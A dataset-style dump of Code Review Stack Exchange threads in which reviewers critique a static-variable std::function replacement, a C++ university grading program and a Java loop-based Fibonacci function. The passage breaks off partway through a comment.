body
stringlengths 25
86.7k
| comments
list | answers
list | meta_data
dict | question_id
stringlengths 1
6
|
|---|---|---|---|---|
<p>I was trying to implement a faster, alternative implementation of std::function. I came up with the code below:</p>
<pre><code>template <typename R, typename ...Args>
struct Function {
template <typename Lambda>
Function(Lambda f) {
static auto function = f;
func = + [] (Args... args) -> R {
return function(args...);
};
};
Function(const Function& other) : func(other.func) {}
inline auto operator() (Args... args) {
return func(args...);
}
R (*func) (Args... args);
};
</code></pre>
<p>Now you can instantiate a Function like below:</p>
<pre><code>int y = 100;
int x = 56;
auto f1 = Function<int , int>([&] (int z) {return x + y + z});
// If you need to store a generic custom functor class:
auto functor = SomeCustomFunctorClass<int, int>(); // Assuming functor takes an int as an argument and returns an int
auto f2 = Function<int , int>([functor] (int x) {return functor(x);});
</code></pre>
<p>Note that my implementation Function can only store lambdas, but storing a generic lambda can be achieved through the example above.</p>
<p>The idea here is to erase the type of the lambda in the constructor by storing it statically, which means that I can use it the function pointer <code>func</code>. Note that, a different static variable is instantiated each time the constructor is called because lambdas all have a unique type, so each time a new version of the constructor is instantiated with a different constructor.</p>
<p>I've benchmarked this implementation, and it runs significantly faster than std::function (with optimisations enabled). It is up to 6 - 7 times faster for construction, 15 times faster for copying, and calling it is as fast as calling a function pointer (though significantly slower than calling a lambda which is always inlined).</p>
<p>However, this almost seems too easy, with this implementation being only 15 lines of code. Are there any drawbacks to my implementation compared to the traditional implementation of std::function using heap allocation and virtual calls? Perhaps statically allocating the lambda is not a good idea?</p>
|
[] |
[
{
"body": "<h1>Questions & answers</h1>\n<p><strong>“Are there any drawbacks to my implementation compared to the traditional implementation of std::function using heap allocation and virtual calls? Perhaps statically allocating the lambda is not a good idea?”</strong></p>\n<p>Yes, definitely a bad idea, with numerous drawbacks.</p>\n<p>Because there are no compile-time checks to ensure that you’re actually using a lambda, this type is very brittle and very dangerous. Today I may write code like this:</p>\n<pre><code>auto x = 0;\nauto y = 0;\n\nauto func_x = [&x] { ++(*x); };\nauto func_y = [&y] { ++(*y); };\n\n// ... later:\nauto function_x = Function<void>{func_x};\nauto function_y = Function<void>{func_y};\n</code></pre>\n<p>No problems there. (Well, I mean, yes, problems, but not for this <em>specific</em> presumed use case. But we’ll get back to that.)</p>\n<p>But then, later in the development process, someone refactors those two lambdas into this:</p>\n<pre><code>struct indirect_incrementer\n{\n int* p_val = nullptr;\n\n auto operator()() { ++(*p_val); }\n};\n\n// then the following two lines:\n//auto func_x = [&x] { ++(*x); };\n//auto func_y = [&y] { ++(*y); };\n// become:\nauto func_x = indirect_incrementer{&x};\nauto func_y = indirect_incrementer{&y};\n</code></pre>\n<p>It’s an innocent and perfectly logical refactor… but now everything blows up, because your assumption that every function object type <code>Function</code> is constructed with no longer holds. The static variable <code>function</code> is initialized with a copy of <code>func_x</code>, and so calling <code>function_y</code> does <em>not</em> call <code>func_y</code>, it calls <code>func_x</code>.</p>\n<p>This isn’t just a problem with using function objects. Even if you somehow <em>completely</em> banned the use of function objects with <code>Function</code>—like, say, with some kind of linter or something—and made 100% sure that <code>Function</code> is <em>always</em> called with a legit lambda object, the problem still exists. Because despite your thinking, it <em>is</em> possible for a lambda type to be non-unique. It’s even quite trivial to do… just call the function that contains the lambda more than once:</p>\n<pre><code>auto render()\n{\n // ... [snip] ...\n\n // somewhere in your render function, you use Function:\n auto func = Function<int, int>{[&] (int i) { return ++i; }};\n\n // ... [snip] ...\n}\n\n// elsewhere, in your main game loop:\nwhile (not done)\n{\n input();\n update();\n render(); // <- !!!\n}\n</code></pre>\n<p><code>render()</code> is called in a loop, but only the <em>first</em> loop will initialize the static <code>function</code> variable. Meaning every other time you use <code>func</code>, it will be with dangling references to the locals in that first <code>render()</code> call.</p>\n<p>Now you <em>could</em> “fix” that problem with various hacks, basically detecting whether <code>function</code> was previously initialized, or counting the number of times it was initialized, or something like that. But it won’t fix the other problems.</p>\n<p>The other big problem with using a static variable to hold a copy of the lambda is that you’re quietly cheating C++’s scope rules. This could lead to frustrating and nasty surprises. For example:</p>\n<pre><code>auto p_weak = std::weak_ptr<int>{};\n\n// in some more restricted scope:\n{\n auto p = std::make_shared<int>();\n p_weak = p;\n\n auto func = Function<void>{[p] { if (p) ++(*p); }};\n\n // use func somehow\n\n // scope is ending, so func and p are being destroyed, right?\n //\n // ... *right*?\n}\n\nif (auto p = p_weak.lock(); p)\n std::cerr << "memory leak!";\n</code></pre>\n<p>Turns out, <code>p</code> is never actually destructed; the lambda takes a copy, which is then copied into the static <code>function</code> variable, which then holds on to it… forever (well, until after <code>main()</code> returns, at least). This is not just a <code>shared_ptr</code> problem; I just used <code>shared_ptr</code> to be able to access otherwise lost memory. <em>Any</em> value that gets captured by the lambda is never destructed during the lifetime of the program. In other words, the more you use <code>Function</code>—even when every use avoids the other problems mentioned—the more you leak memory.</p>\n<p>That’s probably why you’re seeing such large increases in speed: the function object is only being copy-constructed once—even when that’s incorrect—and it’s never being destructed.</p>\n<p>(Also, <code>std::function</code> has a <em>ton</em> of very important and useful other abilities and benefits <code>Function</code> doesn’t offer, like the ability to be null-constructed, and reseated. Mere type-erasure is useful, I suppose, but probably not useful enough on its own… especially when simple function pointers can do that (and more!).)</p>\n<p>So yes, using a static variable to get around dynamic allocation is not a good idea.</p>\n<h1>Code review</h1>\n<pre><code>template <typename Lambda>\nFunction(Lambda f) {\nstatic auto function = f;\nfunc = + [] (Args... args) -> R {\n return function(args...);\n};\n};\n</code></pre>\n<p>Proper indentation would definitely help make this more readable. It would also highlight the stray semicolon you have at the end.</p>\n<p>The fact that you’re copying <code>f</code> into <code>function</code> makes the whole class unusable with move-only lambda types:</p>\n<pre><code>auto p = std::make_unique<int>();\n\nauto lambda_p = [p = std::move(p)] { if (p) { *p = 42; } };\n\nauto func_p = Function<void>{lambda_p}; // won't compile\n\n// (also, as mentioned previously, p won't ever be freed)\n</code></pre>\n<p>You should also use forwarding references in all the function calls. Right now every function argument will be taken by-value, which will be at least slow, and probably won’t compile in a lot of cases.</p>\n<pre><code>Function(const Function& other) : func(other.func) {}\n</code></pre>\n<p>This is entirely unnecessary.</p>\n<pre><code>inline auto operator() (Args... args) {\n return func(args...);\n}\n</code></pre>\n<p>The <code>inline</code> keyword does nothing here.</p>\n<p>Again, you should really be using forwarding references.</p>\n<p>The whole interface of <code>Function</code> is also rather clunky. It seems specious to have to give the return and argument types, when they’re obvious and deduce-able from the lambda itself. It would be much nicer to be able to write:</p>\n<pre><code>auto f1 = Function{[&] (int z) {return x + y + z}};\n// f1 is deduced as Function<int, int>\n</code></pre>\n<p>This is a situation where deduction guides would be useful.</p>\n<h1>Summary</h1>\n<p>You can’t get away with avoiding having function object wrappers actually wrap the function objects. Put that way, it should seem pretty obvious.</p>\n<p>Your type-erasing wrapper either needs to dynamically allocate the memory to copy a function object, or use the small object optimization, or both. Trying to hide the wrapped object in a static variable is cheating. You may get away with it for a little while… but you will eventually be caught, either via memory leaks, reading/writing dangling references, or simply reading/writing to the wrong objects.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T19:53:55.713",
"Id": "503416",
"Score": "1",
"body": "Awesome counter example with `weak_ptr`. I wouldn’t want to be one searching for that memory leak."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T21:03:23.853",
"Id": "503418",
"Score": "0",
"body": "Thank you for taking the time to review my code. I had never thought about the loop giving a non-unique lambda each time in your game loop example. Concerning the memory leaks via static allocation, how does it compare to say, string literals being statically allocated in c++?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T21:07:06.670",
"Id": "503420",
"Score": "0",
"body": "Just fixed the Function2 typo. Function2 was the original name of this struct (this was my second attempt), but when i copy pasted on code review I took of the '2' off the class name but forgot to take it off the constructor. Apologies. Should compile cleanly now."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T20:42:36.527",
"Id": "503864",
"Score": "0",
"body": "That depends on whether you mean a [string literal](https://en.cppreference.com/w/cpp/language/string_literal) or a `std::string` literal. Regardless, the general rule (ignoring optimizations) is that every static variable takes up memory for the entire duration of the program *even if it’s never initialized*. This really isn’t a big deal unless you’re working in *really* constrained environments, like tiny embedded stuff, because we’re talking tiny little bits of memory. `sizeof` a lambda is *generally* pretty small."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T20:43:09.303",
"Id": "503865",
"Score": "0",
"body": "The *real* problem is locking up acquired resources. I just used the memory resources acquired by a `shared_ptr` to illustrate, but if instead of a `shared_ptr`, you passed a database handle to that lambda, then you’ve locked up that database for the entirety of your program, with no way to release it, which may prevent you from opening subsequent handles to the database. Or instead of a database handle, it could be file lock. Or whatever."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T20:43:41.193",
"Id": "503866",
"Score": "0",
"body": "`static` is a red flag; when I see `static auto p = std::make_shared<int>();`, I know what I’m getting into there—I know that allocated memory (or database handle, or file lock, whatever) is “lost” until the program ends (which is why normally you wouldn’t use static variables for that kind of thing, and in fact, some tools will warn if you try). But there is no indication of that in `auto func = Function<void>{[p] { if (p) ++(*p); }};`. That’s what makes it so problematic."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T19:40:45.850",
"Id": "255187",
"ParentId": "255176",
"Score": "7"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T10:58:52.133",
"Id": "255176",
"Score": "4",
"Tags": [
"c++",
"template",
"static"
],
"Title": "Alternative std::function implementation for lambdas"
}
|
255176
|
<p>I've been furthering my development and understanding in OOP (Object Oriented Programming) and would appreciate feedback on this new console program I've created. The main aspects I would like to know are have I made good use of OOP, can I improve upon techniques demonstrated in this program? Have I done anything bad? I do understand I should be loading data from a text-file, but that's not the point of this program. For quick run of the program I've put sample data which is generated in the "University" constructor. I also understand that's probably not the best name to call my class. I based this program off the following scenario. Many thanks to anyone who gives me any feedback!
<a href="https://i.stack.imgur.com/P6Q2e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/P6Q2e.png" alt="enter image description here" /></a></p>
<pre><code>// Progress of Students Calculator.cpp : This file contains the 'main' function. Program execution begins and ends there.
#include <iostream>
#include <vector>
#include <algorithm>
#include <numeric>
#include <map>
class User
{
static int currentID;
int m_ID;
std::string m_Name;
public:
User(std::string name) : m_Name{ name }, m_ID {currentID++}{
}
int ID() const { return m_ID; }
std::string name() const { return m_Name; }
};
int User::currentID = 1;
class Subject {
static int currentID;
int m_ID;
std::string m_Name;
public:
Subject(std::string name) :m_ID{ currentID++ }, m_Name{ name }{}
int ID()const { return m_ID; }
std::string name()const { return m_Name; }
};
int Subject::currentID = 1;
class Department {
static int currentID;
int m_ID;
std::string m_Name;
public:
Department( std::string name) :m_ID{ currentID++ }, m_Name{ name }{}
int ID()const { return m_ID; }
std::string name()const { return m_Name; }
};
int Department::currentID = 1;
class Lecturer : public User {
int m_SubjectID;
int m_DepartmentID;
public:
Lecturer(std::string name, int subjectID, int departmentID)
:User(name), m_SubjectID(subjectID), m_DepartmentID(departmentID) {}
int subjectID()const { return m_SubjectID; }
int departmentID()const { return m_DepartmentID; }
};
class Student : public User {
int m_ClassID;
int m_Result;
public:
Student(std::string name, int classID, int result)
:User(name), m_ClassID(classID), m_Result(result) {}
int classID() const { return m_ClassID; }
int result() const { return m_Result; }
};
class Class
{
static int currentID;
int m_ID;
int m_LecturerID;
int m_Size;
int m_TotalScore;
public:
Class(int lecturerID)
:m_ID{ currentID++ }, m_LecturerID{ lecturerID }, m_Size{ 0 }, m_TotalScore{0}
{
}
int ID()const { return m_ID; }
int lecturer_ID() const { return m_LecturerID; }
int size() const { return m_Size; }
void increment_size() { m_Size++; }
int total_score() const { return m_TotalScore; }
void total_score(int result) { m_TotalScore += result; }
};
int Class::currentID = 1;
class University {
private:
std::vector<Department>objDepartments;
std::vector<Subject>objSubjects;
std::vector<Lecturer>objLecturers;
std::vector<Student>objStudents;
std::vector<Class>objClasses;
auto find_lecturer_by_id(int ID) {
return std::find_if(objLecturers.begin(), objLecturers.end(), [&](Lecturer lecturer) {return lecturer.ID() == ID; });
}
auto find_subject_by_id(int ID) {
return std::find_if(objSubjects.begin(), objSubjects.end(), [&](Subject subject) {return subject.ID() == ID; });
}
auto find_department_by_id(int ID) {
return std::find_if(objDepartments.begin(), objDepartments.end(), [&](Department department) {return department.ID() == ID; });
}
auto find_class_by_id(int ID) {
return std::find_if(objClasses.begin(), objClasses.end(), [&](Class objClass) {return objClass.ID() == ID; });
}
public:
University() {
objSubjects.emplace_back(Subject{"Programming" });
objSubjects.emplace_back(Subject{"Web App Development" });
objSubjects.emplace_back(Subject{"Networking" });
objDepartments.emplace_back(Department{"Winter Gardens" });
objDepartments.emplace_back(Department{"South West Skills Campus" });
objLecturers.emplace_back(Lecturer{"Sean Shearing", 1, 1 });
objClasses.emplace_back(Class{ 1 });
objClasses.emplace_back(Class{ 1 });
//Test data
add_student("Jack Cole", 1, 56);
add_student("Sam Cole", 1, 78);
add_student("Devon Phillips", 1, 91);
add_student("Thomas Saunders", 1, 54);
add_student("Jack Kimmins", 2, 58);
add_student("Oli Stahmer", 2, 91);
add_student("George Bradley", 2, 78);
add_student("Joshua Price", 2, 54);
}
auto best_performing_class() {
return std::max_element(objClasses.begin(), objClasses.end(), [&](const Class& lhs, const Class& rhs)
{
return lhs.total_score() < rhs.total_score();
});
}
auto worst_performing_class() {
return std::min_element(objClasses.begin(), objClasses.end(), [&](const Class& lhs, const Class& rhs)
{
return lhs.total_score() < rhs.total_score();
});
}
double average(std::vector<Student>& students) {
auto sum = std::transform_reduce(students.begin(), students.end(), 0.0, std::plus<>(),
[](auto& student) { return student.result(); });
return sum / objStudents.size();
}
auto find_students_in_class(int classID) {
std::vector<Student>students;
for (const Student& objStudent : objStudents) {
if (objStudent.classID() == classID) {
students.push_back({ objStudent });
}
}
return students;
}
int class_median_score(int class_id) {
std::vector<int>scores;
auto students = find_students_in_class(class_id);
for (Student& student : students) {
scores.push_back(student.result());
}
std::sort(scores.begin(), scores.end());
if (scores.size() % 2 == 0)
{
return (scores.at(scores.size() / 2 - 1) + scores.at(scores.size()/2)) / 2;
}
return scores.at(scores.size()/2);
}
void view_class_students(int classID) {
auto students = find_students_in_class(classID);
display_students(students);
}
void display_students(std::vector<Student>& objStudents) {
for (const Student& objStudent : objStudents) {
std::cout << "ID: " << objStudent.ID() << " | ";
std::cout << "Name: " << objStudent.name() << " | ";
std::cout << "Score: " << objStudent.result() << "\n";
}
}
auto highest_mark_by_student(std::vector<Student>& objStudents) {
return std::max_element(objStudents.begin(), objStudents.end(), [&](const Student& lhs, const Student& rhs)
{
return lhs.result() < rhs.result();
});
}
auto lowest_mark_by_student(std::vector<Student>& objStudents) {
return std::min_element(objStudents.begin(), objStudents.end(), [&](const Student& lhs, const Student& rhs)
{
return lhs.result() < rhs.result();
});
}
void class_report(int class_id)
{
auto students = find_students_in_class(class_id);
auto highestScorer = highest_mark_by_student(students);
auto lowestScorer = lowest_mark_by_student(students);
std::cout << "Highest scorer: Student ID: " << highestScorer->ID() << " | Name: " << highestScorer->name() << " | score: " << highestScorer->result() <<"\n";
std::cout << "Lowest scorer: Student ID: " << lowestScorer->ID() << " | Name: " << lowestScorer->name() << " | score: " << lowestScorer->result() << "\n";
std::cout << "Median score: " << class_median_score(class_id) << "\n";
std::cout << "Average score: " << average(students) << "\n";
}
void overall_classes_report() {
auto bestClass = best_performing_class();
auto worstClass = worst_performing_class();
std::cout << "\nBest Performing Class(s)...\n";
std::cout << "ID: " << bestClass->ID() << " | Lecturer: " << find_lecturer_by_id(bestClass->lecturer_ID())->name() << " | score: " << bestClass->total_score() << "\n";
std::cout << "\n";
std::cout << "\Worst Performing Class(s)...\n";
std::cout << "ID: " << worstClass->ID() << " | Lecturer: " << find_lecturer_by_id(worstClass->lecturer_ID())->name() << " | score: "<< worstClass->total_score() << "\n";
std::cout << "\n";
}
void display_classes() {
for (const Class& objClass : objClasses)
{
auto lecturer = find_lecturer_by_id(objClass.lecturer_ID());
auto subject = find_subject_by_id(objClass.lecturer_ID());
auto department = find_department_by_id(lecturer->departmentID());
auto students = find_students_in_class(objClass.ID());
std::cout << "Class ID: " << objClass.ID() << "\n";
std::cout << "Class Size: " << objClass.size() << "\n";
std::cout << "Lecturer: " << lecturer->name() << "\n";
std::cout << "Subject: " << subject->name() << "\n";
std::cout << "Department: " << department->name() << "\n\n";
}
}
bool is_class_id_valid(int class_id) {
if (auto it = std::find_if(objClasses.begin(), objClasses.end(), [&](auto &objClass) {
return class_id == objClass.ID();
}) == objClasses.end()) {
return false;
}
return true;
}
bool add_student(std::string name, int classID, int result) {
if (is_class_id_valid(classID)) {
objStudents.emplace_back(Student{ name, classID, result });
find_class_by_id(classID)->total_score(result);
find_class_by_id(classID)->increment_size();
return true;
}
return false;
}
};
int main()
{
University objUniversity;
//viewing class 1
std::cout << "View class students...\n";
objUniversity.view_class_students(1);
std::cout << "Class report...\n";
objUniversity.class_report(1);
//viewing class 2
std::cout << "View class students...\n";
objUniversity.view_class_students(2);
std::cout << "Class report...\n";
objUniversity.class_report(2);
std::cout << "Overall classes report...\n";
objUniversity.overall_classes_report();
//Run via menu system
//menu_options(objUniversity);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T14:07:22.690",
"Id": "503386",
"Score": "1",
"body": "The classes User, Department, Subject can be factored out in a common abstract base class to avoid code repetition. Generating an ID should be handled by an external non - member non - friend function. You can use templates to make sure a new static variable is instantiated for each class. Also avoid adding data like in you do in the University constructor. Ideally, you would put all the data in different text files, and read the data from the file. This would at first be more work, but enable you to make changes to the data more easily."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T14:17:33.127",
"Id": "503390",
"Score": "0",
"body": "Thanks very much for your feedback, but the whole purpose of this project was to focus on the OOP side. Although what you say is a very valid point. Thanks for taking the time to review my program."
}
] |
[
{
"body": "<p><strong><a href=\"https://en.wikipedia.org/wiki/You_aren%27t_gonna_need_it\" rel=\"nofollow noreferrer\">yagni</a></strong></p>\n<p>There doesn't seem to be any requirement in the spec for <code>Subject</code> or <code>Department</code> to be more than simple <code>std::string</code>s.</p>\n<hr />\n<p><strong>handling ids:</strong></p>\n<p>There's a lot of duplicate code for ID handling. We could factor that into a class something like the following (not actually tested):</p>\n<pre><code>template<class T>\nclass ID\n{\npublic:\n \n ID():\n m_ID(newID()) { }\n \n ID(ID const&) = default;\n ID& operator=(ID const&) = default;\n ID(ID&&) = default;\n ID& operator=(ID&&) = default;\n \nprivate:\n \n static int newID()\n {\n static int id = 0;\n return id++;\n }\n \n friend bool operator==(ID a, ID b) { return a.m_ID == b.m_ID; }\n friend bool operator!=(ID a, ID b) { return !(a == b); }\n \n int m_ID;\n};\n</code></pre>\n<p>And then use it like:</p>\n<pre><code>struct Lecturer\n{\n ID<Lecturer> m_ID;\n ...\n};\n\nstruct Student\n{\n ID<Student> m_ID;\n ...\n};\n</code></pre>\n<p>With the template argument we get type-safety: we can't pass a lecturer id to a function expecting a student id (and vice-versa) because they are different types. Similarly the <code>operator==</code> and <code>operator!=</code> allow us to compare ids of the same type, but not ids of different type.</p>\n<p>Note that we get a separate counter for each type.</p>\n<p>We could add an <code>operator>></code> if desired.</p>\n<p>(Note that there's no need for a common base class here. The various types are unrelated, and we have no need to store them together or treat them with the same interface.)</p>\n<hr />\n<p><strong>fix the specification!</strong></p>\n<p>There's a couple of things I'd question about the design:</p>\n<ul>\n<li>Do Students really only take one Class?</li>\n<li>Why is there a Size variable in the Class?</li>\n</ul>\n<p>I'd probably remove the Class ID and Result variable from Student, and store a <code>std::vector</code> of Student IDs and their Results in the Class instead.</p>\n<hr />\n<p><strong>fix bugs:</strong></p>\n<pre><code> auto best_performing_class() {\n return std::max_element(objClasses.begin(), objClasses.end(), [&](const Class& lhs, const Class& rhs)\n {\n return lhs.total_score() < rhs.total_score();\n });\n }\n\n auto worst_performing_class() {\n return std::min_element(objClasses.begin(), objClasses.end(), [&](const Class& lhs, const Class& rhs)\n {\n return lhs.total_score() < rhs.total_score();\n });\n }\n</code></pre>\n<p>These should use use average score, not total score. (A small class with high scores should be better than a large one with low scores).</p>\n<hr />\n<p><strong>fix bug, do the simplest thing:</strong></p>\n<pre><code> double average(std::vector<Student>& students) {\n \n auto sum = std::transform_reduce(students.begin(), students.end(), 0.0, std::plus<>(),\n [](auto& student) { return student.result(); });\n return sum / objStudents.size();\n }\n</code></pre>\n<p>I don't think you want <code>objStudents</code> there.</p>\n<p>A simple loop would be much clearer:</p>\n<pre><code>auto sum = 0;\nfor (auto const& student : students)\n sum += student.result();\n\nreturn (double)sum / (double)students.size();\n</code></pre>\n<hr />\n<p><strong>explicitly handle edge-cases, use the correct type:</strong></p>\n<pre><code> if (scores.size() % 2 == 0) \n {\n return (scores.at(scores.size() / 2 - 1) + scores.at(scores.size()/2)) / 2; \n }\n return scores.at(scores.size()/2);\n</code></pre>\n<p>What if <code>scores</code> is empty? If it's a precondition for this function that <code>scores</code> isn't empty, we could show that explicitly with an <code>assert(!scores.empty())</code>, or <code>if (scores.empty()) throw std::runtime_error("...");</code></p>\n<p>We should probably return a <code>double</code> here too for a more accurate result.</p>\n<hr />\n<p><strong><code>const</code> correctness:</strong></p>\n<p>All of the calculation / printing functions should be marked <code>const</code>, since they don't change the class member data (but see also about static functions below).</p>\n<p>Any variables passed by reference, where we don't need to change the variable should also be marked <code>const</code>.</p>\n<p>e.g.:</p>\n<pre><code>double average(const std::vector<Student>& students) const { ...\n</code></pre>\n<hr />\n<p><strong>prefer <code>static</code> for helper functions:</strong></p>\n<p>Rather than directly accessing class member data in a helper function, it's often clearer to make the functions <code>static</code>. This makes the inputs explicit and obvious, and will help prevent mix ups like <code>objStudents</code> vs <code>students</code> above:</p>\n<pre><code>static double average(const std::vector<Student>& students) { ...\n</code></pre>\n<p>Now we can't access class data inside the function - just the specified arguments.</p>\n<p>Most of the calculation functions would be better as <code>static</code> functions.</p>\n<hr />\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T18:56:31.440",
"Id": "503412",
"Score": "0",
"body": "An amazing review! Thank you so much! This has been a huge learning experience for me! Yes, the specification is a little wonky but I was doing what it asked. I am going to have fun reconfiguring this program! I am eternally grateful. I may have questions later on."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T18:16:37.697",
"Id": "255186",
"ParentId": "255178",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255186",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T13:44:30.950",
"Id": "255178",
"Score": "2",
"Tags": [
"c++17"
],
"Title": "University Grading System (OOP)"
}
|
255178
|
<p>I have developed what I believe to be a novel way of coding the Fibonacci series in Java using a <code>for</code> loop. This code appears to work, but I was wondering if this is a good solution and how it could be improved.</p>
<pre class="lang-java prettyprint-override"><code> static int loopFibonacci(int num) {
if(num <1) {
throw new IllegalArgumentException("this number is not valid for fibonacci series");
}
int sum = 1;
int prev = 0;
for (int i=1;i<num;i++) {
sum+=prev;
prev = sum-prev;
// System.out.println("sum="+sum+" , prev = "+prev);
}
return sum;
}
}
</code></pre>
|
[] |
[
{
"body": "<blockquote>\n<p>...what I believe to be a <em><strong>novel</strong></em> way of coding the Fibonacci series...</p>\n</blockquote>\n<p>Ahrm, no. Has been done like that forever.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>static int loopFibonacci(int num) {\n</code></pre>\n<p>Do not shorten variables just because you can, it makes the code harder to read and harder to maintain.</p>\n<p>Everything without visibility modifiers is by default <code>package-private</code>. In my opinion <code>package-private</code> should be avoided as it leads very easily to hard to maintain coupling of classes and interfaces, and it is very easy to make non-extendable constructs with it.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>throw new IllegalArgumentException("this number is not valid for fibonacci series");\n</code></pre>\n<p>Good example of a bad error message. The error message should tell me <em>why</em> the number is not usable, what the not usable number was and what a usable number would be, for example:</p>\n<pre class=\"lang-java prettyprint-override\"><code>throw new IllegalArgumentException("Input argument must be a positive number greater or equal to 1, given <" + Integer.toString(number) + ">.");\n</code></pre>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>for (int i=1;i<num;i++) {\n</code></pre>\n<p>I'm still a very persistent advocate of the rule to only use single-letter variable names when dealing with dimensions. For "simple" for loops using <code>index</code> or <code>counter</code> improve most of the time readability quite a bit.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>sum+=prev;\n</code></pre>\n<p>As a note, <code>a += b</code> is not shorthand for <code>a = a + b</code> but for <code>a = (TYPE_A)(a + b)</code>, which means that it might silently truncate data, for example when adding a <code>float</code> to an <code>int</code>.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> int sum = 1;\n int prev = 0;\n for (int i=1;i<num;i++) {\n sum+=prev;\n prev = sum-prev;\n// System.out.println("sum="+sum+" , prev = "+prev);\n }\n</code></pre>\n<p>Your logic is rather hard to follow, that is because before you really read it it seems to be doing something completely different. So what you want to do is clear that up, partly by using better names and partly by making the logic easier to follow:</p>\n<pre class=\"lang-java prettyprint-override\"><code>int current = 1;\nint previous = 0;\n\nfor (int counter = 0; counter < steps; counter++) {\n System.out.print(current);\n System.out.println(" ");\n \n int next = current + previous;\n \n previous = current;\n current = next;\n}\n</code></pre>\n<p>That makes it rather clear how the logic operates.</p>\n<hr />\n<p>Looking at possible performance implications is complicated, in my opinion, but let us look at the generated bytecode before jumping to conclusions:</p>\n<p>This is the bytecode created for original solution:</p>\n<pre><code>0: iconst_1 \n1: istore_1 /* sum */\n2: iconst_0 \n3: istore_2 /* prev */\n4: iconst_1 \n5: istore_3 /* i */\n6: goto 20\n9: iload_1 /* sum */\n10: iload_2 /* prev */\n11: iadd \n12: istore_1 /* sum */\n13: iload_1 /* sum */\n14: iload_2 /* prev */\n15: isub \n16: istore_2 /* prev */\n17: iinc i, 1\n20: iload_3 /* i */\n21: iload_0 /* num */\n22: if_icmplt 9\n25: iload_1 /* sum */\n26: ireturn\n</code></pre>\n<p>And here is the bytecode for my revised solution:</p>\n<pre class=\"lang-java prettyprint-override\"><code>0: iconst_1 \n1: istore_1 /* current */\n2: iconst_0 \n3: istore_2 /* previous */\n4: iconst_0 \n5: istore_3 /* counter */\n6: goto 22\n9: iload_1 /* current */\n10: iload_2 /* previous */\n11: iadd \n12: istore next\n14: iload_1 /* current */\n15: istore_2 /* previous */\n16: iload next\n18: istore_1 /* current */\n19: iinc counter, 1\n22: iload_3 /* counter */\n23: iload_0 /* steps */\n24: if_icmplt 9\n27: iload_1 /* current */\n28: ireturn\n</code></pre>\n<p>So both solutions are using 22 instructions to accomplish their goals. After removing any noise, the difference boils down to this (original to the left):</p>\n<pre><code>13: iload_1 /* sum */ 14: iload_1 /* current */\n14: iload_2 /* prev */ 15: istore_2 /* previous */\n15: isub 16: iload next\n16: istore_2 /* prev */ 18: istore_1 /* current */\n</code></pre>\n<p>So the only difference is one sub operation, which we trade for a store operation. The performance difference here will be miniscule, in my opinion.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:52:33.563",
"Id": "503517",
"Score": "1",
"body": "While I mostly agree with the review, you did miss the whole point of the OP's code, which is that his algorithm uses one less variable. Nowadays, that's mostly kind of a moot point, but there are still cases with embedded systems where memory is limited and algorithms like this can be quite useful."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T19:59:40.827",
"Id": "503518",
"Score": "0",
"body": "Mh, that's true, I did not even consider it to be the point of it, to be honest. I had to spend several minutes thinking the logic through to figure out how it worked (true, I am very slow these days), and compared to how one can do it, I found this rather confusing. So my conclusion of \"don't do it this way\" still stands. Regarding performance, I'm not even sure *if* it is faster that way in Java, I'll have a look at that and add it to my answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T20:08:03.290",
"Id": "503519",
"Score": "1",
"body": "While \"faster\" is one kind of optimization, \"using less memory\" is a different, and equally valid optimization. Though mostly forgotten, since modern computers have massive memories. My first computer was a 48k Apple II+"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T20:15:03.450",
"Id": "503520",
"Score": "0",
"body": "I do get your point, but we're talking Java here. If this would be C, or assembler, or anything close to that, I'd be with you. But Java will always be, at least for me, a \"readability and maintainability\"-first language, because the projects will most likely live on for years through different development teams, and most of the time companies will *depend* on the solution working. Any performance gain through such optimizations are so miniscule, that they are not worth the additional effort (and pain). If you want to optimize for memory usage, there are a ton of better ways in Java."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T20:24:49.013",
"Id": "503522",
"Score": "0",
"body": "Well, to be honest, I'd not even be with you in C. We're talking about a 4 byte difference inside a for-loop (plus some memory management overhead) that should not run for an extended period of time. There are places for that kind of optimization, somebody starting out in programming is for sure not in any of those places (I hope for them, at least). So is it an optimization? Yes, the bytecode tells me so (traded storing for an operation). Is it worth to ever think about it (in Java)? No, absolutely not. Should we tell people to optimize like that in Java? Absolutely not!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T21:53:50.177",
"Id": "503525",
"Score": "0",
"body": "I agree with you that 99.999999999% of the time, this would be a silly optimization and best avoided. I've found that even the strangest and most unlikely of algorithms manage to find uses though."
},
{
"ContentLicense": "CC BY-SA 4.0",
